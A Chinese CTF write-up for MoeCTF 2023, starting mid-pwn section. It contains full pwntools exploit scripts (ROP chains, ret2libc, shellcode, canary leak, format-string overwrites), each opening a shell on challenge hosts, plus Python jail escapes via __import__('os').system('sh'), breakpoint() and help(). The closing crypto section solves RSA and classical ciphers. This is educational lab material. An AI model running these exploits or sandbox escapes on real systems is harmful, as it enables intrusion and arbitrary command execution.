line = p.recvuntil(b"This time i will give u a gift!\n"); print(line) # This time i will give u a gift!\n
line = p.recvuntil(b"Vuln's address is:"); print(line) # Vuln's address is:%p\n

line = p.recvline(); print(line)
line = line.replace(b"\n", b""); print(line)

vuln = int(line, 16)
elf.address = vuln - elf.sym['vuln']

payload = b'a' * (80 + 8) # offset = buf[80] + 8(byte) = r

payload += p64(elf.address + 0x00101a) # ret_address
payload += p64(elf.address + 0x001323) # gadget_address pop rdi ; ret
payload += p64(elf.address + 0x004010) # /bin/sh address
payload += p64(elf.sym['system'])

p.sendline(payload)

p.interactive()
1
moectf{3N3evVehPhOpH9nNLAd6KmD_Z8jhY36t}

ret2libc

1
2
3
4
5
6
7
8
ssize_t vuln()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF

puts("I hide the b4ckdoor..\n");
puts("But..maybe libc can help u??\n");
return read(0, buf, 0x100uLL);
}

根据题目意思还有程序逻辑,system函数被移除了,所以要到libc里面找

linux每次加载程序的时候libc的基地址都会改变,但是libc内的偏移是不变的,想要调用system这个函数,首先要泄露libc的基地址,然后根据偏移地址去拿到system,这时候可以构造一个这样的调用链puts_plt(puts_got) 把got表中的puts的位置打印出来, 然后用 puts_got 减去libc中基地址与puts的偏移关系,就能拿到libc的基地址,这时候我们需要再回到vuln function里面,再read一遍,用之前的libc_base + system偏移 以及 libc_base + bin/sh的偏移 把shell拿到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

from pwn import *

elf = context.binary = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

ip = "192.168.1.111"
port = 63227

# p = process()
p = remote(ip,port)


line = p.recvuntil(b"I hide the b4ckdoor..\n"); print(line)
line = p.recvline(); print(line)
line = p.recvuntil(b"But..maybe libc can help u??\n"); print(line)
line = p.recvline(); print(line)



puts_got = elf.got['puts'] # got 表中的 puts地址
puts_plt = elf.plt['puts'] # plt
gadget_address = 0x40117e # pop rdi; ret

payload = b'A' * (80 + 8) # offset r
payload += p64(gadget_address) # pop rdi; ret
payload += p64(puts_got) # puts_plt(put_gots)
payload += p64(puts_plt) # puts(put_gots) 打印put_got的地址
payload += p64(0x4011E8)

p.sendline(payload)

# 接收泄露的地址
leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00'))
print(f"Leaked puts address: {hex(leaked_puts)}")

# 计算libc的基址
put_offset = libc.symbols['puts']
libc_base = leaked_puts - put_offset
print(f"Libc base address: {hex(libc_base)}")

# gdb.attach(p)


###################################################################################
# 重新回到vuln 然后再read一遍,有了libc的基址 就能根据偏移拿到system /bin/sh
line = p.recvuntil(b"I hide the b4ckdoor..\n"); print(line)
line = p.recvline(); print(line)
line = p.recvuntil(b"But..maybe libc can help u??\n"); print(line)
line = p.recvline(); print(line)


system = libc_base + libc.symbols['system'] #system实际地址
binsh = libc_base + next(libc.search(b'/bin/sh')) # /bin/sh 实际地址
ret_address = 0x40101a # ret
gadget_address = 0x40117e # pop rdi ret

payload = b'a' * (80 + 8) # offset r
payload += p64(ret_address) # ret
payload += p64(gadget_address) # pop rdi ret
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)

p.interactive()
1
moectf{zqCYX9rID5N8EvdK6cRpjzxGiKua-j6-}

ret2syscall

64位 syscall会根据rax的值去调用系统,其中有个execve的函数能够执行shell命令,编号是59。

用法是先设置rax的值为59来选择execve这个函数

然后设置rdi rsi rdx 三个寄存器传递/bin/ sh null null三个参数过去

最后syscall就好了

32位和64位不同的是传参的调用约定和编号

https://www.yuque.com/cyberangel/rg9gdm/iszq8p

https://publicki.top/old/syscall.html#x86_64-64_bit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

elf = context.binary = ELF('./ret2syscall')

ip = "192.168.129.194"
port = 57614

# p = process()
p = remote(ip,port) #

line = p.recvline() ; print(line) # Can you make a syscall?

syscall_addr = 0x401185
pop_rax_ret = 0x40117e
pop_rdi_ret = 0x401180
pop_rsi_ret = 0x401182
pop_rdx_ret = 0x401183
pop_rsi_rdx_ret = 0x401182
binsh = 0x404040

payload = flat(
[
b'a' * (64 + 8), # offset r
pop_rax_ret, 59, # execve("/bin/sh" , NULL , NULL)
pop_rdi_ret, binsh ,
pop_rsi_rdx_ret , 0 , 0 ,
syscall_addr
]
)

p.sendline(payload)

p.interactive()
1
moectf{3e8lLsjSF62Ebm55dV_11iZHHp7TFVUZ}

shellcode_level2

这里如果输入数据的第一个字节不为0的话,test al al 会将zf寄存器设置成1,然后会jz初始化我输入的数据,所以只需要保证第一个字节是0x00就好了

1
2
3
4
lea     rax, [rbp+s]
movzx eax, byte ptr [rax]
test al, al
jz short loc_125D
1
2
3
4
5
lea     rax, [rbp+s]
mov edx, 64h ; 'd' ; n
mov esi, 0 ; c
mov rdi, rax ; s
call _memset
1
2
3
4
5
6
7
8
9
10
11
loc_125D:
lea rax, [rbp+s]
add rax, 1
mov [rbp+var_78], rax
mov rdx, [rbp+var_78]
mov eax, 0
call rdx
mov eax, 0
mov rdx, [rbp+var_8]
sub rdx, fs:28h
jz short locret_128D
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

ip = "192.168.129.194"
port = 63480
p = remote(ip, port)
context(arch='amd64', os='linux')
# p = process("./shellcode_level2")

shellcode = asm(shellcraft.sh())
shellcode = b'\x00' + shellcode
payload = shellcode # #

p.sendline(payload)

p.interactive()
1
moectf{5WxAPxrGkQOTgaLi3fXkBZV8IKQEDBPF}

uninitialized_key_plus

和uninitialized_key类似,区别在get_name函数那是scanf %24s,然后位置有些不太一样ida里面看内存布局算一下就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

ip = "192.168.129.194"
port = 49771
p = remote(ip, port)
# p = process("./uninitialized_key_plus")

line = p.recvline(); print(line) # Welcome to Moectf 2023.
line = p.recvline(); print(line) # Do you know stack?
line = p.recvline(); print(line) # Please input your name:

payload = b'A' * 20
payload += p32(114514) # 转四字节
p.sendline(payload)

line = p.recvline(); print(line) # Your name is %s.\n
line = p.recvline(); print(line) # Please input your key:

p.sendline(b'=')

p.interactive()
1
moectf{HEPwrkfbVLeO2t_8ea0K6PipJiGm2DQP}

format_level1[补]

格式化字符串修改 dragon.HP 就好了,修改pwner的atk 字符串会长一些,输入长度不够

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./format_level1')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "192.168.1.101"
port = 54822
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



sl(b'3')

# g(p)

payload = fmtstr_payload(7,{0x804c00c:1})

sa("Input what you want to talk: \n",payload)
sl(b'1')

p.interactive()

little_canary[补]

第一次read 覆盖canary的低位00把canary打印出来,然后带上canary打ret2libc ,题目没有给libc,所以要用libcsearcher一下

ret2libc的话,构造一个 puts_plt(puts_got)的函数调用去打印一个libc的地址,算出libc_base后,libc中有binsh字符和system函数,就可以构造一个system(/bin/sh)的函数调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./little_canary')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "192.168.1.101"
port = 64352
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



payload = b'a' * (0x50 - 8 + 1)

sa("What's your name?\n",payload)

r(len(payload))
leak_canary = b'\x00' + r(7)
success(leak_canary)


rdi = 0x0000000000401343
payload = flat([
b'a' * (0x50 - 8),leak_canary,b'a' * 8,
rdi,elf.got['puts'],elf.plt['puts'],
elf.sym['main']

])

sa(b"I put a canary on my stack!\n",payload)


leak_addr = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
# libc_base = leak_addr - libc.sym['puts']
libc = LibcSearcher('puts',leak_addr)
libc_base = leak_addr - libc.dump('puts')

success(f"libc_base -> {hex(libc_base)}")


ret = 0x000000000040101a
# system = libc_base + libc.sym['system']
# binsh = libc_base + next(libc.search(b'/bin/sh'))

system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump("str_bin_sh")


payload = flat([
b'a' * (0x50 - 8),leak_canary,b'a' * 8,
ret,rdi,binsh,system

])

sa("What's your name?\n",payload)
sa(b"I put a canary on my stack!\n",payload)

p.interactive()

rePWNse[补]

题目中有给 设置好的execve的模板,有pop rdi ret的gadget,但是没有binsh字符串,需要在makebinsh中构造一个binsh字符串。

这个makebinsh函数第一眼看觉得挺复杂的,但是细看会发现就是一个一元一次方程的约束求解,其中有一些 strncat((char *)s, &src[v7[1]], 1uLL); 通过v7[i] 来做下标的表达式,是可以直接看出v7[i]的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
__int64 makebinsh()
{
unsigned int v0; // eax
int v1; // eax
int v2; // eax
int v3; // eax
int v4; // eax
int v5; // eax
int v7[8]; // [rsp+0h] [rbp-70h] BYREF
char src[64]; // [rsp+20h] [rbp-50h] BYREF
void *s; // [rsp+60h] [rbp-10h]
int i; // [rsp+6Ch] [rbp-4h]

strcpy(src, "/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ");
s = malloc(8uLL);
memset(s, 0, 8uLL);
v0 = time(0LL);
srand(v0);
puts("Input seven single digits:");
for ( i = 0; i <= 6; ++i )
__isoc99_scanf("%d", &v7[i]);
if ( v7[3] * v7[1] == 10 * v7[4] + v7[5] )
{
strncat((char *)s, src, 1uLL);
}
else
{
v1 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v1 / 2147483647.0))], 1uLL);
}
if ( v7[5] == v7[6] + 1 )
{
strncat((char *)s, &src[2], 1uLL);
}
else
{
v2 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v2 / 2147483647.0))], 1uLL);
}
strncat((char *)s, &src[v7[1]], 1uLL);
if ( v7[1] == v7[3] )
{
strncat((char *)s, &src[14], 1uLL);
}
else
{
v3 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v3 / 2147483647.0))], 1uLL);
}
strncat((char *)s, &src[v7[6]], 1uLL);
if ( v7[0] == v7[2] )
{
strncat((char *)s, &src[19], 1uLL);
}
else
{
v4 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v4 / 2147483647.0))], 1uLL);
}
if ( v7[3] - v7[4] == v7[0] )
{
strncat((char *)s, &src[8], 1uLL);
}
else
{
v5 = rand();
strncat((char *)s, &src[(int)(53.0 * ((double)v5 / 2147483647.0))], 1uLL);
}
printf("Here's the string:%s\n", (const char *)s);
printf("The address is:%p\n", s);
return 0LL;
}

大约是这些约束,算了一下 得出的v7[]的结果是 1919810

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
str = "/abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

result = ""

# v7[3] * v7[1] == 10 * v7[4] + v7[5]
result += str[0]

# v7[5] == v7[6] + 1
result += str[2]

# strncat((char *)s, &src[v7[1]], 1uLL); v7[1] == 9
# print(str.find('i'))
result += str[str.find('i')]

# v7[1] == v7[3] v7[3] == 9
result += str[14]

# strncat((char *)s, &src[v7[6]], 1uLL); v7[6] == 0
result += str[0]

# v7[0] == v7[2]
result += str[19]

# v7[3] - v7[4] == v7[0]
result += str[8]

print(result)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./rePWNse')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "192.168.1.102"
port = 49704
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


ru("Input seven single digits:\n")

v7 = [None] * 7
v7[0] = 1
v7[1] = 9
v7[2] = 1
v7[3] = 9
v7[4] = 8
v7[5] = 1
v7[6] = 0

for i in range(7):
sl(str(v7[i]).encode())

ru("The address is:")
binsh = int(rl()[:-1],16)
success(hex(binsh))

rdi = 0x000000000040168e
execve = 0x40129B


payload = flat([
b'a' * (0x40 + 0x8),
rdi,binsh,execve
])

s(payload)

p.interactive()

shellcode_level3[补]

gets(code) 输入的位置,只有前五个字节有可执行的权限,有一个backdoor function,jmp 过去就好了, jmp的字节码是e9,相对寻址(rip) 后面跟的是一个偏移地址,算一下code的地址到backdoor的偏移是多少,转换成补码就好了,注意一下端序是小端序

1
2
3
4
5
6
7
8
9
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("5 bytes ni neng miao sha wo?");
mprotect(&GLOBAL_OFFSET_TABLE_, 0x1000uLL, 7);
gets(&code);
memset(&unk_40408E, 0, 0xF72uLL);
((void (*)(void))code)();
return 0;
}
1
2
3
4
int givemeshell()
{
return system("/bin/sh");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./shellcode_level3')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "192.168.94.193"
port = 57295
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])

# 40408E - 4011D6 = 11960 # -11960的补码是 48d1ffff, 小端序
shellcode = b"\xe9\x48\xd1\xff\xff"
sl(shellcode)


p.interactive()

changeable_shellcode [补]

有一个filter函数,把syscall给过滤了,那能不能在shellcode中,造一个syscall出来?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __cdecl filter(char *buf, int len)
{
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; i < len - 1; ++i )
{
if ( buf[i] == 15 && buf[i + 1] == 5 )
{
puts("Is that 'syscall'?");
buf[i] = 0;
buf[i + 1] = 0;
puts("Oh, nothing.");
}
}
}

b’\x0f\x00’,把\x00修改成 05就是syscall的字节码了,这个偏移可以通过字符串长度来算,因为00是在结尾的 len -1 就是偏移了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level='debug')
elf = context.binary = ELF('./shellcode')
libc = elf.libc

is_debug = 1

if(is_debug):
p = process()
else:
ip = "192.168.94.193"
port = 54025
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])



ru("Please input your shellcode: \n")


shellcode1 = asm('''
mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi
xor esi,esi
xor edx,edx
push 0x3b
pop rax
'''
)

shellcode1 += b'\x0f\x00'

print(len(shellcode1))
print(shellcode1[21])

shellcode2 = asm(
"""
mov al, 0x05
mov [0x114514020], al
"""
)

payload = shellcode2 + shellcode1

print(len(payload))
print(payload[len(payload) - 1])

# g(p)
s(payload)

p.interactive()

format_level2[补]

got表不可改,有一个cat flag的backdoor函数,先用格式化字符串泄露一个栈相关的地址,利用偏移算出main的返回地址,然后把main的返回地址的低位修改成backdoor的低位,这样就能jmp到backdoor上了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
elf = context.binary = ELF('./format_level2')
libc = elf.libc

is_debug = 0

if(is_debug):
p = process()
else:
ip = "192.168.94.193"
port = 51366
p = remote(ip,port)

# gdb.attach(p)
g = lambda x: gdb.attach(x)

# send() sendline() sendafter() sendlineafter()
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x,y: p.sendafter(x,y)
sla = lambda x,y: p.sendlineafter(x,y)

# recv() recvline() recvuntil()
r = lambda x: p.recv(x)
rl = lambda : p.recvline()
ru = lambda x: p.recvuntil(x)

r_leek_libc_64 = lambda : u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
r_leek_libc_32 = lambda : u32(p.recvuntil(b'\xf7')[-4:])


sl("3")
s("%p")

ru("You said: \n")
leak_addr = int(ru('But')[:-3], 16)
ret_addr = leak_addr + 64

success(hex(ret_addr))

# 08049317
payload = b"%23p%10$hhn".ljust(12, b'a') + p32(ret_addr)

sl("3")
s(payload)

payload = b"%147p%10$hhn".ljust(12, b'a') + p32(ret_addr + 1)

sl("3")
s(payload)


sl("4")

p.interactive()

CRYPTO

Crypto 入门指北

去查询了一下指北里面的信息

欧拉函数 的定义是小于等于n和n互质数的个数,n是质数的时候则为n-1

然后 ax mod b = 1的时候,x则称作a mod b的逆元,是a的倒数

所以d = pow(e, -1, phi)这个是这么来的

得到私钥后就直接解密拿到flag

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import * # 一个非常好用的crypto库

p = 0xe82a76eeb5ac63e054128e040171630b993feb33e0d3d38fbb7c0b54df3a2fb9b5589d1205e0e4240b8fcb4363acaa4c3c44dd6e186225ebf3ce881c7070afa7
q = 0xae5c2e450dbce36c8d6d1a5c989598fc01438f009f9b4c29352d43fd998d10984d402637d7657d772fb9f5e4f4feee63b267b401b67704979d519ad7f0a044eb
c = 0x4016bf1fe655c863dd6c08cbe70e3bb4e6d4feefacaaebf1cfa2a8d94051d21e51919ea754c1aa7bd1674c5330020a99e2401cb1f232331a2da61cb4329446a17e3b9d6b59e831211b231454e81cc8352986e05d44ae9fcd30d68d0ce288c65e0d22ce0e6e83122621d2b96543cec4828f590af9486aa57727c5fcd8e74bd296
e = 65537
n = p*q
phi = (p-1) * (q-1) # 你知道什么是 欧拉函数吗 [1]
d = pow(e, -1, phi) # 什么是乘法逆元? [2]
m = pow(c,d,n)
print(long_to_bytes(m))

baby_e

Jail

jail挺好玩的,思路开阔了很多

参考的这个文章学习的https://zhuanlan.zhihu.com/p/578966149

Jail lavel 0

1
2
3
4
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
print('calc Answer: {}'.format(eval(user_input_data)))

可以用__ import __来导入os模块使用system来执行系统命令,import魔术方法使用import导入模块的时候,会调用import魔术方法。import魔术方法可以用来动调加载模块

1
__import__('os').system('sh')

flag{0dAAkA3NNdFaoIDhHrqY35M60amn3_Cs}

Jail lavel 1

这里多了个长度限制,lv0的payload用不了

1
2
3
4
5
6
7
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

网上搜到有个思路是二次传参,exec(input())但是超了一个字符

有个breakpoint()函数,可以打开一个叫pdb(python debugger)的调试器,这个调试器可以执行python代码,还有打断点调试代码

进入后用第一题的__ import __ (‘os’).system(‘sh’)就能打开一个终端,然后 cat flag拿到flag

flag{Wk1Sp0Q4gA6at3kySUmJhtdZq_AitxwJ}

Jail lavel 2

这里加了个长度限制

1
2
3
4
5
6
7
print("Welcome to the MoeCTF2023 Jail challenge level1.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>6:
print("Oh hacker! Bye~")
exit(0)
print('calc Answer: {}'.format(eval(user_input_data)))

可以使用help()函数 查看sys模块,sys模块下有个: 可以传递参数过去当shell命令执行

1
2
3
4
help()
sys
!
cat flag

flag{iQR2CFeLlJ8Hi8ydPGs-HVHXSmGiQxwP}

Jail Level 3 [未解决]

长度不超过12 且不可用breakpoint ,hint中help被禁用

1
2
3
4
5
6
7
8
9
10
11
12
13

import re
BANLIST = ['breakpoint']
BANLIST_WORDS = '|'.join(f'({WORD})' for WORD in BANLIST)
print("Welcome to the MoeCTF2023 Jail challenge.It's time to work on this calc challenge.")
print("Enter your expression and I will evaluate it for you.")
user_input_data = input("> ")
if len(user_input_data)>12:
print("Oh hacker! Bye~")
exit(0)
if re.findall(BANLIST_WORDS, user_input_data, re.I):
raise Exception('Blacklisted word detected! you are hacker!')
print('Answer result: {}'.format(eval(user_input_data)))

Jail Level 4

是一个不断循环 的eval(input),python2.7环境的

1
__import__('os').system('sh')

拿到flag flag{MvhG6P0cpa4yavJzq6gcJAYgGfNSi5yZ}

Leak Leval 0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fake_key_into_local_but_valid_key_into_remote = "moectfisbestctfhopeyoulikethat"
print("Hey Guys,Welcome to the moeleak challenge.Have fun!.")
print("| Options: | [V] uln | [B] ackdoor ")
def func_filter(s):
not_allowed = set('vvvveeee') return any(c in not_allowed
for c in s)
while (1):
challenge_choice = input(">>> ").lower().strip()
if challenge_choice == 'v':
code = input("code >> ") if (len(code) > 9):
print("you're hacker!")
exit(0) if func_filter(code):
print("Oh hacker! byte~") exit(0) print(eval(code)) elif challenge_choice == 'b':
print("Please enter the admin key") key = input("key >> ") if (key == fake_key_into_local_but_valid_key_into_remote):
print("Hey Admin,please input your code:")
code = input("backdoor >> ") print(eval(code))
else :
print("You should select valid choice!")

vuln 9的长度可以用globals() 将真正的key给找出来,然后用backdoor执行代码

1
2
3
4
globals() #找到了key 'key_6366a131649a4e9b': '4e86eda06366a131649a4e9be1a9f217'
4e86eda06366a131649a4e9be1a9f217
__import__('os').system('sh')
cat flag
1
flag{GjyJBWFLfQoLO8qiZpIMjKQEjl-MBKnq}

Classical Crypto

ezrot

1
@64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N

查询了一下rot编码的原理,原理是将字符的ascii往前推

https://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php 使用这里的rot47拿到flag,少了个m需要补充一下

1
moectf{rot47_is_just_a_simPle_letter_substitution_ciPher_EDpy5tpe5juNT_}

可可的新围墙

搜索围墙这个词,搜到了栅栏密码

1
mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j

http://www.atoolbox.net/Tool.php?Id=777 在线解密

1
moectf{F3nc3_ciph3r_shiFTs_3ach_l3TT3r_By_a_Giv3n_nuMB3r_oF_plac3s_Ojpj}

皇帝的新密码

观察长度,字符结构,像是将每个字符的ascii偏移n位,搜索到了凯撒密码

1
tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}

https://www.lddgo.net/encrypt/caesar-cipher 偏移7

1
moectf{CaEsaE_CIphEr_Is_a_vErY_sImpIE_CIphEr!_SfNONT40j5DuXJSTD5Xatz4To}

不是“皇帝的新密码”

这个题好坑啊,这里这个md5是key的md5,不是flag的md5,但是上面写着md5 of flag,我解了半天出不来,想来想去也不是代码逻辑有问题,弄了几组数据进去,脚本都没有问题。

密文看起来像是每位都偏移了n位,明文前六位是moectf,然后跑了一下脚本发现每位偏移都不太一样,也没有什么规律。后面发现是维吉尼亚密码

1
2
3
scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}

md5 of flag (utf-8) `ea23f80270bdd96b5fcd213cae68eea5`

网上查询到,维吉尼亚密码首先要确定key的长度,算出来是7,然后前六位moectf算出前六位key,爆破第七位和md5比较拿到key解密flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import hashlib

def virginiaCrack(cipherText,key): # 解密函数
length = getKeyLen(cipherText) #得到密钥长度
# key = getKey(cipherText,length) #找到密钥
for i in string.ascii_letters:
key = "moectf" + i
keyStr = ''
for k in key:
keyStr+=k
print('the key:',keyStr)
plainText = ''
index = 0
for ch in cipherText:
c = chr((ord(ch)-ord(key[index%length]))%26+97)
plainText += c
index+=1
print(plainText)
return plainText

# 根据明文和密文偏移关系求前面的key
def vigenere_key(plaintext, ciphertext):
alphabet = "abcdefghijklmnopqrstuvwxyz"
key = ''
for p, c in zip(plaintext, ciphertext):
p_idx = alphabet.index(p)
c_idx = alphabet.index(c)

k_idx = (c_idx - p_idx) % 26
key += alphabet[k_idx]
return key

#解密
def vigenere_decrypt_extended(ciphertext, key):
alphabet = "abcdefghijklmnopqrstuvwxyz"
plaintext = ''

key = key.lower()
key_expanded = (key * (len(ciphertext) // len(key) + 1))[:len(ciphertext)]
key_index = 0

for c in ciphertext:
if c in alphabet:
k = key_expanded[key_index]
c_idx = alphabet.index(c)
k_idx = alphabet.index(k)

p_idx = (c_idx - k_idx) % 26
plaintext += alphabet[p_idx]

key_index += 1
else:
plaintext += c

return plaintext

def md5_hash(text):
return hashlib.md5(text.encode()).hexdigest()

plaintext_prefix = "moectf"
ciphertext_prefix = "scsfct"
md5_target = "ea23f80270bdd96b5fcd213cae68eea5"
ciphertext = "scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}"

#前六位key
key_prefix = vigenere_key(plaintext_prefix, ciphertext_prefix)

#爆破第七位key
key_candidates = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
for candidate in key_candidates:
test_key = key_prefix + candidate
decrypted_text = vigenere_decrypt_extended(ciphertext_prefix, test_key)
if md5_hash(decrypted_text) == md5_target:
break

#解密
ciphertext_lower = ciphertext.lower()
decrypted_text_full = vigenere_decrypt_extended(ciphertext_lower, test_key)
decrypted_text_restored = ''.join(
[decrypted_text_full[i] if c.islower() else decrypted_text_full[i].upper() for i, c in enumerate(ciphertext)])

